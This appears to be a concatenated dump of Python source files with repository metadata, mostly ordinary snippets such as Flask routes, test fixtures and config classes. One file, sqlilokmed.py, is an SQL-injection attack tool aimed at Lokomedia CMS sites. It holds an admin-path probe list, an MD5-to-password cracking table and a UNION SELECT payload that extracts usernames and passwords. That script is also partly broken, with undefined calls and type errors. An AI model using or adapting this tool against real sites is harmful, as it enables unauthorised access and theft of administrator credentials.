# -*- coding: utf-8 -*- smtpserver = "smtp.qq.com" # will be read by smtp fixture def test_showhelo(smtp_connection): assert 0, smtp_connection.helo()

26.166667

58

0.694268

23

157

4.608696

0.826087

0.264151

0

0.015267

0.165605

157

6

59

26.166667

0.793893

0.318471

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0.104762

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0.333333

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0.333333

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0

null

1

0

1

0

null

0

1

0

4

20ffd516b29953d1751d7fd6f405ac820c8ea619

329

py

Python

flaskr/auth.py

rollanda21/transcriber-tool

6d56938b7e0554fdb377314082bf98c2e631945f

[ "MIT" ]

null

flaskr/auth.py

rollanda21/transcriber-tool

6d56938b7e0554fdb377314082bf98c2e631945f

[ "MIT" ]

8

2022-02-16T02:00:07.000Z

2022-03-04T22:55:17.000Z

flaskr/auth.py

rollanda21/transcriber-tool

6d56938b7e0554fdb377314082bf98c2e631945f

[ "MIT" ]

null

from flask import Blueprint, render_template, url_for auth = Blueprint('auth', __name__) @auth.route('/login') def login(): return render_template("login.html") @auth.route('/logout') def logout(): return render_template("logout.html") @auth.route('/sign_up') def sign_up(): return render_template("sign_up.html")

21.933333

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329

4.977778

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0.121581

329

15

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21.933333

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0.175758

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0.272727

false

0

0.090909

0.272727

0.636364

0.181818

0

null

1

0

null

0

1

0

1

0

4

1f12182e42e640086c99c3d3ed75235bd0dd8fa3

2,533

py

Python

test_cmpa/conftest.py

jamesabel/cmpa

64eddfb9601f4df23044faf95b99fcf960161ded

[ "MIT" ]

null

test_cmpa/conftest.py

jamesabel/cmpa

64eddfb9601f4df23044faf95b99fcf960161ded

[ "MIT" ]

null

test_cmpa/conftest.py

jamesabel/cmpa

64eddfb9601f4df23044faf95b99fcf960161ded

[ "MIT" ]

null

import os import logging import pytest from test_cmpa import get_test_data_root, rmdir, mkdirs from test_cmpa import get_test_data_root_same_single_level, get_test_data_root_same_multiple_level from test_cmpa import get_test_data_root_different_single_level, get_test_data_root_different_multiple_level from test_cmpa import get_test_data_root_unmatched log = logging.getLogger() def _write_test_file(file_path, contents): mkdirs(os.path.dirname(file_path)) with open(file_path, 'w') as f: f.write(contents) @pytest.fixture(scope="session", autouse=True) def cmpa_setup(): test_data_root = get_test_data_root() print('making %s' % test_data_root) rmdir(test_data_root) file_name_a = 'a.txt' file_name_b = 'b.txt' default_contents = 'xyz' parent_dir = get_test_data_root_same_single_level() _write_test_file(os.path.join(parent_dir, 'a', file_name_a), default_contents) _write_test_file(os.path.join(parent_dir, 'b', file_name_a), default_contents) parent_dir = get_test_data_root_same_multiple_level() _write_test_file(os.path.join(parent_dir, 'a', file_name_a), default_contents) _write_test_file(os.path.join(parent_dir, 'a', 's', file_name_a), default_contents) _write_test_file(os.path.join(parent_dir, 'a', 's', file_name_b), default_contents) _write_test_file(os.path.join(parent_dir, 'b', file_name_a), default_contents) _write_test_file(os.path.join(parent_dir, 'b', 's', file_name_a), default_contents) _write_test_file(os.path.join(parent_dir, 'b', 's', file_name_b), default_contents) parent_dir = get_test_data_root_different_single_level() _write_test_file(os.path.join(parent_dir, 'a', file_name_a), default_contents) _write_test_file(os.path.join(parent_dir, 'b', file_name_a), 'not the same') parent_dir = get_test_data_root_different_multiple_level() _write_test_file(os.path.join(parent_dir, 'a', file_name_a), default_contents) _write_test_file(os.path.join(parent_dir, 'a', 's', file_name_a), default_contents) _write_test_file(os.path.join(parent_dir, 'a', 's', file_name_b), default_contents) _write_test_file(os.path.join(parent_dir, 'b', file_name_a), default_contents) _write_test_file(os.path.join(parent_dir, 'b', 's', file_name_a), default_contents) _write_test_file(os.path.join(parent_dir, 'b', 's', file_name_b), 'not the same either') parent_dir = get_test_data_root_unmatched() _write_test_file(os.path.join(parent_dir, 'a', file_name_a), default_contents)

43.672414

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0

null

0

1

0

1

0

null

0

4

1f58bc69442e05779f2e5c6ca2689bc03c3a8247

29

py

Python

dajaxice/__init__.py

peiwei/django-dajaxice

bf41c7623804856326b09f0724b4cb7d14440d7e

[ "BSD-3-Clause" ]

60

2015-01-09T23:02:52.000Z

2021-03-27T13:46:55.000Z

dajaxice/__init__.py

peiwei/django-dajaxice

bf41c7623804856326b09f0724b4cb7d14440d7e

[ "BSD-3-Clause" ]

15

2015-02-19T15:06:15.000Z

2017-10-27T15:06:47.000Z

dajaxice/__init__.py

peiwei/django-dajaxice

bf41c7623804856326b09f0724b4cb7d14440d7e

[ "BSD-3-Clause" ]

55

2015-01-02T22:27:13.000Z

2021-04-27T19:34:15.000Z

__version__ = (0, 7, 'beta')

14.5

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3.25

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0.458333

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0

1

0

null

0

1

0

1

0

null

0

4

1f702337e4c25e2623be48b9692154c10599f9b8

46

py

Python

conf.py

R13N/LatexBuilder

a42750d24bf83685b603f34f6b216e3b0990c4dd

[ "MIT" ]

1

2019-02-15T13:45:08.000Z

conf.py

ftomassetti/github-latex-builder

3a3fc53cc65826d4acd186b30c978911db128dc3

[ "MIT" ]

null

conf.py

ftomassetti/github-latex-builder

3a3fc53cc65826d4acd186b30c978911db128dc3

[ "MIT" ]

null

BUILD_DIR_NAME = 'build' PDF_DIR_NAME = 'pdf'

15.333333

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3.75

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25

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false

0

1

0

null

1

0

1

0

null

0

4

1f9022052bb035a960851e83fb32520292fb3c77

82

py

Python

detention_data_dashboard/__init__.py

lucaskolson/ddd

f273c61856bca27a40b9691b2a9842d8705a3503

[ "MIT" ]

null

detention_data_dashboard/__init__.py

lucaskolson/ddd

f273c61856bca27a40b9691b2a9842d8705a3503

[ "MIT" ]

null

detention_data_dashboard/__init__.py

lucaskolson/ddd

f273c61856bca27a40b9691b2a9842d8705a3503

[ "MIT" ]

null

"" importing all the functions from the app python script """ from .app import *

13.666667

54

0.719512

12

82

4.916667

0.75

0

0.195122

82

5

55

16.4

0.893939

0

null

0

0.5

null

0

1

0

null

0

1

0

null

0

1

0

1

0

4

2f0d249529b7b0328dca1b58f546902b3b0543f2

211

py

Python

LeetcodeAlgorithms/561. Array Partition I/array-partition-i.py

Fenghuapiao/PyLeetcode

d804a62643fe935eb61808196a2c093ea9583654

[ "MIT" ]

3

2019-08-20T06:54:38.000Z

2022-01-07T12:56:46.000Z

LeetcodeAlgorithms/561. Array Partition I/array-partition-i.py

Fenghuapiao/PyLeetcode

d804a62643fe935eb61808196a2c093ea9583654

[ "MIT" ]

null

LeetcodeAlgorithms/561. Array Partition I/array-partition-i.py

Fenghuapiao/PyLeetcode

d804a62643fe935eb61808196a2c093ea9583654

[ "MIT" ]

2

2018-06-07T02:56:39.000Z

2018-08-01T15:27:55.000Z

class Solution(object): def arrayPairSum(self, nums): """ :type nums: List[int] :rtype: int """ return sum([c for i, c in enumerate(sorted(nums)) if i % 2 == 0])

30.142857

73

0.50237

27

211

3.925926

0.814815

0

0.014599

0.350711

211

7

73

30.142857

0.759124

0.156398

0

1

0.333333

false

0

1

0

1

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null

0

1

0

null

0

1

0

1

0

4

2f1408ff6662651ed68070e7d0973f745e2f8e43

325

py

Python

Validation/HcalRecHits/python/NoiseRatesClient_cfi.py

ckamtsikis/cmssw

ea19fe642bb7537cbf58451dcf73aa5fd1b66250

[ "Apache-2.0" ]

852

2015-01-11T21:03:51.000Z

2022-03-25T21:14:00.000Z

Validation/HcalRecHits/python/NoiseRatesClient_cfi.py

ckamtsikis/cmssw

ea19fe642bb7537cbf58451dcf73aa5fd1b66250

[ "Apache-2.0" ]

30,371

2015-01-02T00:14:40.000Z

2022-03-31T23:26:05.000Z

Validation/HcalRecHits/python/NoiseRatesClient_cfi.py

ckamtsikis/cmssw

ea19fe642bb7537cbf58451dcf73aa5fd1b66250

[ "Apache-2.0" ]

3,240

2015-01-02T05:53:18.000Z

2022-03-31T17:24:21.000Z

import FWCore.ParameterSet.Config as cms from DQMServices.Core.DQMEDHarvester import DQMEDHarvester noiseratesClient = DQMEDHarvester("NoiseRatesClient", # outputFile = cms.untracked.string('NoiseRatesHarvestingME.root'), outputFile = cms.untracked.string(''), DQMDirName = cms.string("/") # root directory )

36.111111

71

0.763077

30

325

8.266667

0.6

0.241935

0.177419

0.225806

0

0.126154

325

8

72

40.625

0.873239

0.246154

0

0.071429

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false

0

0.333333

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0.333333

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null

1

0

1

0

1

0

null

0

1

0

4

2f3f1e08e8337b79cd56522b8853890c275bd890

139

py

Python

Step 2/testFunction.py

laki999/hello-python

9fb1bad981d832ec7df3cedd13e4dd9fb0b7e25c

[ "MIT" ]

null

Step 2/testFunction.py

laki999/hello-python

9fb1bad981d832ec7df3cedd13e4dd9fb0b7e25c

[ "MIT" ]

null

Step 2/testFunction.py

laki999/hello-python

9fb1bad981d832ec7df3cedd13e4dd9fb0b7e25c

[ "MIT" ]

null

def hypotenuse_triangle(side1, side2): hypotenuse = side1 ** 2 + side2 ** 2 return hypotenuse print(hypotenuse_triangle(2, 4))

15.444444

40

0.690647

17

139

5.529412

0.529412

0.382979

0

0.072072

0.201439

139

8

41

17.375

0.774775

0

1

0.25

false

0

0.5

0.25

1

0

null

1

0

1

0

null

0

1

0

4

2f690eed25da3541ce42bd81db13b841c2f5fefd

198

py

Python

api/battle_client.py

MUzzell/the_pokemon_api

dd056aa022a7d3b2f5a718ac05df1c4d46a640bd

[ "MIT" ]

null

api/battle_client.py

MUzzell/the_pokemon_api

dd056aa022a7d3b2f5a718ac05df1c4d46a640bd

[ "MIT" ]

null

api/battle_client.py

MUzzell/the_pokemon_api

dd056aa022a7d3b2f5a718ac05df1c4d46a640bd

[ "MIT" ]

null

from base_client import BaseClient, format_query class BattleClient(BaseClient): retries = 3 def do_battle(self, ident): return self._send_request(format_query("BATTLE", ident))

19.8

64

0.732323

25

198

5.56

0.76

0.158273

0

0.006173

0.181818

198

9

65

22

0.851852

0

0.030457

0

1

0.2

false

0

0.2

1

0

1

0

null

0

1

0

null

0

1

0

4

2f6e1eeb1a02ace4daaf14d5b261dad3555ce450

87

py

Python

homeslice/tubers/apps.py

ChrisKeefe/homeslice

6070e8a40d1a3b300eb5eb156216552663675975

[ "MIT" ]

null

homeslice/tubers/apps.py

ChrisKeefe/homeslice

6070e8a40d1a3b300eb5eb156216552663675975

[ "MIT" ]

null

homeslice/tubers/apps.py

ChrisKeefe/homeslice

6070e8a40d1a3b300eb5eb156216552663675975

[ "MIT" ]

null

from django.apps import AppConfig class TubersConfig(AppConfig): name = 'tubers'

14.5

33

0.747126

10

87

6.5

0.9

0

0.172414

87

5

34

17.4

0.902778

0

0.068966

0

1

0

false

0

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

2f879689b3c5c018bd14ff483dcd669879c46eb5

162

py

Python

tests/test_problem33.py

nolanwrightdev/blind-75-python

b92ef3449eb0143c760ddd339897a3f0a2972830

[ "MIT" ]

6

2020-02-01T23:29:51.000Z

2022-02-20T20:46:56.000Z

tests/test_problem33.py

nolanwrightdev/blind-75-python

b92ef3449eb0143c760ddd339897a3f0a2972830

[ "MIT" ]

null

tests/test_problem33.py

nolanwrightdev/blind-75-python

b92ef3449eb0143c760ddd339897a3f0a2972830

[ "MIT" ]

null

import unittest from problems.problem33 import solution class Test(unittest.TestCase): def test(self): self.assertEqual(solution([100, 4, 200, 1, 3, 2]), 4)

20.25

55

0.734568

24

162

4.958333

0.75

0

0.092857

0.135802

162

7

56

23.142857

0.757143

0

0.2

1

0.2

false

0

0.4

0

0.8

0

1

0

null

0

1

0

null

0

1

0

1

0

4

2f98576ca50e9fe5c2674f302000424650b67dd1

71

py

Python

withings-sync.py

cristian5th/withings-sync

cba704ad5ecf5e89b12e90a50791257122756892

[ "MIT" ]

1

2022-02-01T20:04:37.000Z

withings-sync.py

cristian5th/withings-sync

cba704ad5ecf5e89b12e90a50791257122756892

[ "MIT" ]

null

withings-sync.py

cristian5th/withings-sync

cba704ad5ecf5e89b12e90a50791257122756892

[ "MIT" ]

null

from withings_sync import sync if __name__ == '__main__': sync.main()

17.75

30

0.746479

10

71

4.4

0.7

0

0.140845

71

4

31

17.75

0.721311

0

0.111111

0

1

0

true

0

0.333333

0

0.333333

0

1

0

null

0

1

0

null

0

1

0

1

0

4

2f9bd880f6a114562f3508a8bd7ec3e3dfe0b1ea

141

py

Python

main.py

norwoodj/jconfigure

75b1388ca0d31c1e2516db268525efcc6aa681ca

[ "MIT" ]

2

2018-07-08T05:12:20.000Z

2019-03-28T00:57:43.000Z

main.py

norwoodj/jconfigure

75b1388ca0d31c1e2516db268525efcc6aa681ca

[ "MIT" ]

4

2019-01-22T16:33:14.000Z

2021-06-02T00:59:17.000Z

main.py

norwoodj/jconfigure

75b1388ca0d31c1e2516db268525efcc6aa681ca

[ "MIT" ]

1

2019-01-22T16:30:29.000Z

#!/usr/bin/env python import json from jconfigure import configure if __name__ == "__main__": print(json.dumps(configure(), indent=2))

17.625

44

0.723404

19

141

4.947368

0.842105

0

0.008264

0.141844

141

7

45

20.142857

0.768595

0.141844

0

0.066667

0

1

0

true

0

0.5

0

0.5

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1

0

null

0

1

0

null

0

1

0

1

0

4

85ca50732b98f0af86ab4da46fd9b9bce6a9fd9c

9,469

py

Python

sqlilokmed.py

D45H7/LokoSQLi

88881b9f61abf604e288b9323a3eeed960b076ea

[ "Apache-2.0" ]

null

sqlilokmed.py

D45H7/LokoSQLi

88881b9f61abf604e288b9323a3eeed960b076ea

[ "Apache-2.0" ]

null

sqlilokmed.py

D45H7/LokoSQLi

88881b9f61abf604e288b9323a3eeed960b076ea

[ "Apache-2.0" ]

1

2021-01-28T12:06:25.000Z

#!/usr/bin/env/python3.9 # # Made by EtcAug10 import requests as req, os, re banner = """ ----------------- -- --- | ------------ -----------| --- SQLi CMS Lokomedia - | ------- by EtcAug10 -----| --- -------------------| """ admin = [ 'adm/', '_adm_/', '_admin_/', '_administrator_/', 'operator/', 'sika/', 'develop/', 'ketua/', 'redaktur/', 'author', 'admin/', 'administrator/', 'adminweb/', 'user/', 'users/', 'dinkesadmin/', 'retel/', 'author/', 'panel/', 'paneladmin/', 'panellogin/', 'redaksi/', 'cp-admin/', 'master/', 'master/index.php', 'master/login.php', 'operator/index.php', 'sika/index.php', 'develop/index.php', 'ketua/index.php', 'redaktur/index.php', 'admin/index.php', 'administrator/index.php', 'adminweb/index.php', 'user/index.php', 'users/index.php', 'dinkesadmin/index.php', 'retel/index.php', 'author/index.php', 'panel/index.php', 'paneladmin/index.php', 'panellogin/index.php', 'redaksi/index.php', 'cp-admin/index.php', 'operator/login.php', 'sika/login.php', 'develop/login.php', 'ketua/login.php', 'redaktur/login.php', 'admin/login.php', 'administrator/login.php', 'adminweb/login.php', 'user/login.php', 'users/login.php', 'dinkesadmin/login.php', 'retel/login.php', 'author/login.php', 'panel/login.php', 'paneladmin/login.php', 'panellogin/login.php', 'redaksi/login.php', 'cp-admin/login.php', 'terasadmin/', 'terasadmin/index.php', 'terasadmin/login.php', 'rahasia/', 'rahasia/index.php', 'rahasia/admin.php', 'rahasia/login.php', 'dinkesadmin/', 'dinkesadmin/login.php', 'adminpmb/', 'adminpmb/index.php', 'adminpmb/login.php', 'system/', 'system/index.php', 'system/login.php', 'webadmin/', 'webadmin/index.php', 'webadmin/login.php', 'wpanel/', 'wpanel/index.php', 'wpanel/login.php', 'adminpanel/index.php', 'adminpanel/', 'adminpanel/login.php', 'adminkec/', 'adminkec/index.php', 'adminkec/login.php', 'admindesa/', 'admindesa/index.php', 'admindesa/login.php', 'adminkota/', 'adminkota/index.php', 'adminkota/login.php', 'admin123/', 'admin123/index.php', 'admin123/login.php', 'logout/', 'logout/index.php', 'logout/login.php', 'logout/admin.php', 'adminweb_setting'] real_pass = [ "a66abb5684c45962d887564f08346e8d" , "admin123456", "99026ab4ab3de96f3d7ae33c8c85057b" , "master!@#$qwe", "c630643500720b255abb22e2ab2c31f6" , "sumedang123", "1c63129ae9db9c60c3e8aa94d3e00495" , "1qaz2wsx", "f243df64be7184fb0fc07bd6cf53185b" , "b1smillah", "93261ae77f0df5522dd9767203f3aa17" , "house69", "f243df64be7184fb0fc07bd6cf53185b" , "b1smillah", "37c77ada62ec68d1b740717fc886bef6" , "Suk4bum1", "d39b59b946b414c4e5926f9c7b23840a" , "kasitaugakya", "fbff29af096fa646757ce8439b644714" , "vro190588", "1feadc10e93f2b64c65868132f1e72d3" , "agoes", "0192023a7bbd73250516f069df18b500" , "admin123", "7aa1dfee8619ac8f282e296d83eb55ff" , "meong", "24fa5ee2c1285e115dd6b5fe1c25a333" , "773062", "d557fd4686821b5d8b927cdfe6e67d21" , "#admin#", "5fec4ba8376f207d1ff2f0cac0882b01" , "admin!@#", "a01726b559eeeb5fc287bf0098a22f6c" , "@dm1n", "73acd9a5972130b75066c82595a1fae3" , "ADMIN", "511f2efed0e465e700a951f2f1ecec19" , "bs1unt46", "7b7bc2512ee1fedcd76bdc68926d4f7b" , "Administrator", "99fedb09f0f5da90e577784e5f9fdc23" , "ADMINISTRATOR", "e58bfd635502ea963e1d52487ac2edfa" , "!@#123!@#123", "5449ccea16d1cc73990727cd835e45b5" , "ngadimin", "c21f969b5f03d33d43e04f8f136e7682" , "default", "1a1dc91c907325c69271ddf0c944bc72" , "pass", "fffdf0489f264598e9d35cba0381e9ac" , "sukmapts", "5f4dcc3b5aa765d61d8327deb882cf99" , "password", "5ebe2294ecd0e0f08eab7690d2a6ee69" , "secret", "c893bad68927b457dbed39460e6afd62" , "prueba", "b2ca9cfa6067282a031d28a54886822d" , "admin4343", "3a3795bb61d5377545b4f345ff223e3d" , "bingo", "e172dd95f4feb21412a692e73929961e" , "bismillah", "8221303fbf816fd9da96be7dd4c92f99" , "salawarhandap123", "0570e3795fbe97ddd3ce53be141d1aed" , "indoxploit", "098f6bcd4621d373cade4e832627b4f6" , "test", "976adc43eaf39b180d9f2c624a1712cd" , "adminppcp", "5985609a2dc01098797c94a43e0a1115" , "masarief", "21232f297a57a5a743894a0e4a801fc3" , "admin", "1870a829d9bc69abf500eca6f00241fe" , "wordpress", "126ac9f6149081eb0e97c2e939eaad52" , "blog", "fe01ce2a7fbac8fafaed7c982a04e229" , "demo", "04e484000489dd3b3fb25f9aa65305c6" , "redaksi2016", "91f5167c34c400758115c2a6826ec2e3" , "administrador", "200ceb26807d6bf99fd6f4f0d1ca54d4" , "administrator", "c93ccd78b2076528346216b3b2f701e6" , "admin1234", "912ec803b2ce49e4a541068d495ab570" , "asdf", "1adbb3178591fd5bb0c248518f39bf6d" , "asdf1234", "e99a18c428cb38d5f260853678922e03" , "abc123", "a152e841783914146e4bcd4f39100686" , "asdfgh", "a384b6463fc216a5f8ecb6670f86456a" , "qwert", "d8578edf8458ce06fbc5bb76a58c5ca4" , "qwerty", "b59c67bf196a4758191e42f76670ceba" , "1111", "96e79218965eb72c92a549dd5a330112" , "111111", "4297f44b13955235245b2497399d7a93" , "123123", "c33367701511b4f6020ec61ded352059" , "654321", "81dc9bdb52d04dc20036dbd8313ed055" , "1234", "e10adc3949ba59abbe56e057f20f883e" , "123456", "fcea920f7412b5da7be0cf42b8c93759" , "1234567", "25d55ad283aa400af464c76d713c07ad" , "12345678", "25f9e794323b453885f5181f1b624d0b" , "123456789", "e807f1fcf82d132f9bb018ca6738a19f" , "1234567890", "befe9f8a14346e3e52c762f333395796" , "qawsed", "76419c58730d9f35de7ac538c2fd6737" , "qazwsx", "5f4dcc3b5aa765d61d8327deb882cf99" , "password", "bed128365216c019988915ed3add75fb" , "passw0rd", "21232f297a57a5a743894a0e4a801fc3" , "admin", "e10adc3949ba59abbe56e057f20f883e" , "123456", "5f4dcc3b5aa765d61d8327deb882cf99" , "password", "25d55ad283aa400af464c76d713c07ad" , "12345678", "f379eaf3c831b04de153469d1bec345e" , "666666", "96e79218965eb72c92a549dd5a330112" , "111111", "fcea920f7412b5da7be0cf42b8c93759" , "1234567", "d8578edf8458ce06fbc5bb76a58c5ca4" , "qwerty", "6f3cac6213ffceee27cc85414f458caa" , "siteadmin", "200ceb26807d6bf99fd6f4f0d1ca54d4" , "administrator", "63a9f0ea7bb98050796b649e85481845" , "root", "4297f44b13955235245b2497399d7a93" , "123123", "c8837b23ff8aaa8a2dde915473ce0991" , "123321", "e807f1fcf82d132f9bb018ca6738a19f" , "1234567890", "4ca7c5c27c2314eecc71f67501abb724" , "letmein123", "cc03e747a6afbbcbf8be7668acfebee5" , "test123", "62cc2d8b4bf2d8728120d052163a77df" , "demo123", "32250170a0dca92d53ec9624f336ca24" , "pass123", "46f94c8de14fb36680850768ff1b7f2a" , "123qwe", "200820e3227815ed1756a6b531e7e0d2" , "qwe123", "c33367701511b4f6020ec61ded352059" , "654321", "f74a10e1d6b2f32a47b8bcb53dac5345" , "loveyou", "172eee54aa664e9dd0536b063796e54e" , "adminadmin123", "e924e336dcc4126334c852eb8fadd334" , "waskita1234", "02631cc1d0cc5bda188566e90d0ae16c" , "rsamku2013", "b69cbef044eac6fc514a2988e62c5b30" , "unlock08804", "12e110a1b89da9b09a191f1f9b0a1398" , "nalaratih", "f70d32432ff0a8984b5aadeb159f9db6" , "Much240316", "a2fffa77aa0dde8cd4c416b5114eba21" , "gondola", "2b45af95ce316ea4cffd2ce4093a2b83" , "w4nd3szaki", "c5612a125d8613ddae79a6b36c8bee37" , "Reddevil#21", "6e7fbe8e6147e2c430ce7e8ab883e533" , "R4nd0m?!", "5136850b6c8f3ebc66122188347efda0" , "adminku", "5214905fbe8d7f0bb0d0a328f08af3f0" , "adminpust4k4", "acfc976c2d22e4a595a9ee6fc0d05f27" , "dikmen2016", "dcdee606657b5f7d8b218badfeb22a90" , "masputradmin", "ecb4208ee41389259a632d3a733c2786" , "741908", "827ccb0eea8a706c4c34a16891f84e7b" , "12345", "855be097acdf2fea4e342615a154ca3c" , "tolol", "eeee80342778e7b497d507f89094b10d" , "master10", "d29c0398602e6cf005f0dcb7a0443c7d" , "adminjalan", "9062756924cf10763cc89cf2793a77ab" , "pass4@nd1", "8b6bc5d8046c8466359d3ac43ce362ab" , "ganteng", "528d06a172eb2d8fab4e93f33f3986a8" , "jasindolive", "058fe7f85df1e992ef7bf948f1db7842" , "404J", "abe1f4492f922a9111317ed7f7f8e723" , "bantarjati5", ] def ekse(t): reqs = req.get(t) resp = reqs.text print(resp) def simpen(sisi): f = open("md5.txt","a+") f.write(isi+"\n") def main(): print(banner) os.system('sleep 0.5s') print("Memulai serangan..") os.system('sleep 2s') target = input("Masukkan Target: ") login = "" id = "" reqs = req.get(target) resp = reqs.text curl = resp.split("'") param = ["statis","kategori","berita"] re.findall("/"+param[0]+"-(.*?)\">/",resp) # Pilihan: param[0], param[1], param[2] pecah = id.split("-") statis = pecah[0] sisa = pecah[1] r_admin = ekse(target+"/"+admin) if re.findall("/administrator|username|password/i",r_admin) and re.findall("/not found|forbidden|404|403|500/i",r_admin): login = target+"/"+admin sqli = ekse(target+"/"+param+"-"+statis+"'/*!50000UniON*/+/*!50000SeLeCT*/+/*!50000cOnCAt*/(0x696e646f78706c6f6974,0x3c6c693e,username,0x20,password,0x3c6c693e)+from+users--+---+-"+sisa) up = [] akun = [] re.findall("/<meta name=\"description\" content=\"(.*?)\">/", sqli, up) re.findall("/<li>(.*)<li>/", up[1], akun) data = split(" ", akun[1]) print("\n\n URL: "+target+"\n") print("[+] param: "+param+"\n") if curl != sqli: if split("/error/", sqli): print("[ Injection Successfully ]\n") if data[0] == "" | data[1] == "": print("(/) Not Injected :(\n") else: print("# username: "+data[0]+"\n") passwd = real_pass[data[1]] if passwd == "": passwd = data[1] simpen(data[1]) print("# password: "+passwd+"\n") if login == "": print("(/) Login Admin ga ketemu :(\n") else: print("\ Login: "+login+"\n") else: print("(/) Not Injected :(\n") else: print("(/) Not Injected :(\n") os.system('clear') main() p = input("Lakukan eksploitasi lagi? (y/n)\n") if p == "y": main() elif p == "n": print("Terimakasih telah menggunakan.. ^_^") exit() else: print("Salah command, exit") exit()

31.458472

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0

null

0

1

0

1

0

1

null

0

4

c81db2bc142ef0cfb13ac487574dc67cd75c94ff

221

py

Python

strategy/core.py

le0park/search_scraper

539ae2def45377a5963a2ad06fd5898236a9c73b

[ "MIT" ]

null

strategy/core.py

le0park/search_scraper

539ae2def45377a5963a2ad06fd5898236a9c73b

[ "MIT" ]

null

strategy/core.py

le0park/search_scraper

539ae2def45377a5963a2ad06fd5898236a9c73b

[ "MIT" ]

null

from abc import * class AbstractScrapStrategy(metaclass=ABCMeta): platform = 'etc' driver = None def __init__(self, driver): self.driver = driver @abstractmethod def scraps(self, query, page_count): return []

17

47

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26

221

6

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0.128205

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0.167421

221

12

48

18.416667

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1

0.222222

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0

0.111111

0.777778

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null

0

null

0

1

0

1

0

4

c821e2313a74b0fb45c9f520eb7c48f479788d81

288

py

Python

web-gui/flaskr/quotes/model.py

kpk-pl/wallet

68bcc2685d1932e4a5ec021c09854c1d6a7294a9

[ "MIT" ]

null

web-gui/flaskr/quotes/model.py

kpk-pl/wallet

68bcc2685d1932e4a5ec021c09854c1d6a7294a9

[ "MIT" ]

null

web-gui/flaskr/quotes/model.py

kpk-pl/wallet

68bcc2685d1932e4a5ec021c09854c1d6a7294a9

[ "MIT" ]

null

from pydantic import BaseModel from datetime import datetime from decimal import Decimal from typing import Optional class Quote(BaseModel): name: Optional[str] ticker: Optional[str] quote: Decimal timestamp: datetime currency: Optional[str] type: Optional[str]

20.571429

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null

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1

0

1

0

1

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4

c860b9af862a8ceab20669046a9f54024ae944b5

32

py

Python

music_bg/__init__.py

music-bg/music_bg

5b79eacb32506b6eda5861df4b5f71b611c5dfa3

[ "MIT" ]

3

2021-09-17T12:27:46.000Z

2021-09-18T19:03:01.000Z

music_bg/__init__.py

music-bg/music_bg

5b79eacb32506b6eda5861df4b5f71b611c5dfa3

[ "MIT" ]

null

music_bg/__init__.py

music-bg/music_bg

5b79eacb32506b6eda5861df4b5f71b611c5dfa3

[ "MIT" ]

null

"""The music_bg application."""

16

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null

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c8680389c5c5599e78ce3c4de2a0e67008c375f3

19,716

py

Python

mars/services/meta/store/base.py

HarshCasper/mars

4c12c968414d666c7a10f497bc22de90376b1932

[ "Apache-2.0" ]

null

mars/services/meta/store/base.py

HarshCasper/mars

4c12c968414d666c7a10f497bc22de90376b1932

[ "Apache-2.0" ]

null

mars/services/meta/store/base.py

HarshCasper/mars

4c12c968414d666c7a10f497bc22de90376b1932

[ "Apache-2.0" ]

null

# Copyright 1999-2020 Alibaba Group Holding Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from abc import ABC, abstractmethod from typing import Tuple, Dict, List, Any, Type import numpy as np from ....core import CHUNK_TYPE from ....tensor.core import TensorOrder from ....dataframe.core import IndexValue, DtypesValue object_types = ('tensor', 'dataframe', 'series', 'index', 'object') class AbstractMetaStore(ABC): name = None def __init__(self, session_id: str, **kw): self._session_id = session_id @staticmethod def _get_method_name(tp, method_type: str): method_name = f'{method_type}_{tp.type_name.lower()}' if issubclass(tp, CHUNK_TYPE): method_name = f'{method_name}_chunk' return f'{method_name}_meta' async def set_meta(self, tp, object_id: str, **kw): method_name = self._get_method_name(tp, 'set') return await getattr(self, method_name)(object_id, **kw) async def get_meta(self, tp, object_id: str, fields: List[str] = None) -> Dict: method_name = self._get_method_name(tp, 'get') return await getattr(self, method_name)(object_id, fields=fields) async def del_meta(self, tp, object_id: str): method_name = self._get_method_name(tp, 'del') return await getattr(self, method_name)(object_id) @abstractmethod async def set_tensor_meta(self, object_id: str, shape: Tuple[int] = None, dtype: np.dtype = None, order: TensorOrder = None, nsplits: Tuple[Tuple[int]] = None, physical_size: int = None, extra: Dict = None): """ Set tensor meta. Parameters ---------- object_id : str Object id. shape : tuple Tensor Shape: dtype Tensor's dtype. order Tensor order, C or F. nsplits Tuple of tuple of ints. physical_size : int Raw physical size. extra Extra information. """ @abstractmethod async def get_tensor_meta(self, object_id: str, fields: List[str] = None) -> Dict[str, Any]: """ Get tensor's meta. Parameters ---------- object_id : str Object id. fields : field names. Fields to filter, if not specified, will get all fields. Returns ------- meta : dict Tensor's meta. """ @abstractmethod async def del_tensor_meta(self, object_id: str): """ Delete tensor's meta. Parameters ---------- object_id : str Object id. """ @abstractmethod async def set_tensor_chunk_meta(self, object_id: str, shape: Tuple[int] = None, dtype: np.dtype = None, order: TensorOrder = None, index: Tuple[int] = None, physical_size: int = None, workers: List[str] = None, extra: Dict = None): """ Set tensor chunk's meta. Parameters ---------- object_id : str Object id. shape : tuple Tensor chunk's shape. dtype Tensor chunk's dtype. order Tensor chunk's order, C or F. index : tuple Tensor chunk's index in which each number means the position on each axis. physical_size : int Raw physical size. workers : list Workers which owns the data. extra : dict Extra information. """ @abstractmethod async def get_tensor_chunk_meta(self, object_id: str, fields: List[str] = None) -> Dict[str, Any]: """ Get tensor chunk's meta. Parameters ---------- object_id : str Object id. fields : list Fields to filter, if not specified, will get all fields. Returns ------- meta : dict Tensor chunk's meta. """ @abstractmethod async def del_tensor_chunk_meta(self, object_id: str): """ Delete tensor chunk's meta. Parameters ---------- object_id : str Object id. """ @abstractmethod async def set_dataframe_meta(self, object_id: str, shape: Tuple[int] = None, dtypes_value: DtypesValue = None, index_value: IndexValue = None, nsplits: Tuple[Tuple[int]] = None, physical_size: int = None, extra: Dict = None): """ Set DataFrame's meta. Parameters ---------- object_id : str Object id. shape : tuple DataFrame's shape. dtypes_value DataFrame's types. index_value DataFrame's index. nsplits Tuple of tuple of ints. physical_size: int Raw physical size. extra : dict Extra information. """ @abstractmethod async def get_dataframe_meta(self, object_id: str, fields: List[str] = None) -> Dict[str, Any]: """ Get DataFrame's meta. Parameters ---------- object_id : str Object id. fields : list Fields to filter, if not 